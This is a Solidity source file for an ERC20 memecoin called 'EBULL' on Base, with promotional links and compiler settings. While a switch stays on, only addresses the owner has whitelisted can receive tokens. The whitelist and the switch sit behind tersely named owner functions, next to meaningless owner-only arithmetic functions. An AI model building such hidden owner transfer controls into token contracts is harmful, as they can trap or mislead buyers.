// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
       _  ______ ____  _    _ _      _          
      | ||  ____|  _ \| |  | | |    | |         
     / __) |__  | |_) | |  | | |    | |         
     \__ \  __| |  _ <| |  | | |    | |         
     (   / |____| |_) | |__| | |____| |____     
      |_||______|____/ \____/|______|______|    
                                                
                                                     
$EBULL Token on Base - "Ethereum Is Good, So Is Base"

Website:    https://ethbull.fun
Telegram:   https://t.me/EBullOnBase
X:          https://x.com/EBullOnBase
*/

contract EBull {
    string private constant _name = "Ethereum Is Good";
    string private constant _symbol = "EBULL";
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 1000000000 * 10 ** uint256(_decimals);
    address private _owner;
    bool private commState = true;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private community;   

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed tokenOwner, address indexed spender, uint256 value);

    // Ownership modifier
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner.");
        _;
    }

    // Constructor of the contract
    constructor() {
        _owner = msg.sender;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        community[msg.sender] = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function owner() public view returns (address) {
        return _owner;
    }
    
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    
    function allowance(address tokenOwner, address spender) public view returns (uint256) {
        return _allowances[tokenOwner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        require(_allowances[sender][msg.sender] >= amount, "EBULL ERC20: transfer amount exceeds allowance");
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "EBULL ERC20: transfer from the zero address");
        require(recipient != address(0), "EBULL ERC20: transfer to the zero address");
        require(amount <= _balances[sender], "Insufficient token balance to transfer");

        if (commState) {
            require(community[recipient], "Not in EBULL community");
        }

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function _approve(address tokenOwner, address spender, uint256 amount) internal {
        require(tokenOwner != address(0), "EBULL ERC20: approve from the zero address");
        require(spender != address(0), "EBULL ERC20: approve to the zero address");

        _allowances[tokenOwner][spender] = amount;
        emit Approval(tokenOwner, spender, amount);
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function sum(uint256 x, uint256 y) public onlyOwner view returns (uint256) {
        return x + y;
    }
    
    function addToCLs(address[] calldata cl) external onlyOwner {
        for (uint i = 0; i < cl.length; i++) {
            community[cl[i]] = true;
        }
    }

    function substract(uint256 x, uint256 y) public onlyOwner view returns (uint256) {
        return x - y;
    }
    
    function setCS() external onlyOwner {
        commState = false;
    }

    function multiply(uint256 x, uint256 y) public onlyOwner view returns (uint256) {
        return x * y;
    }
}

{
  "compilationTarget": {
    "EBull.sol": "EBull"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}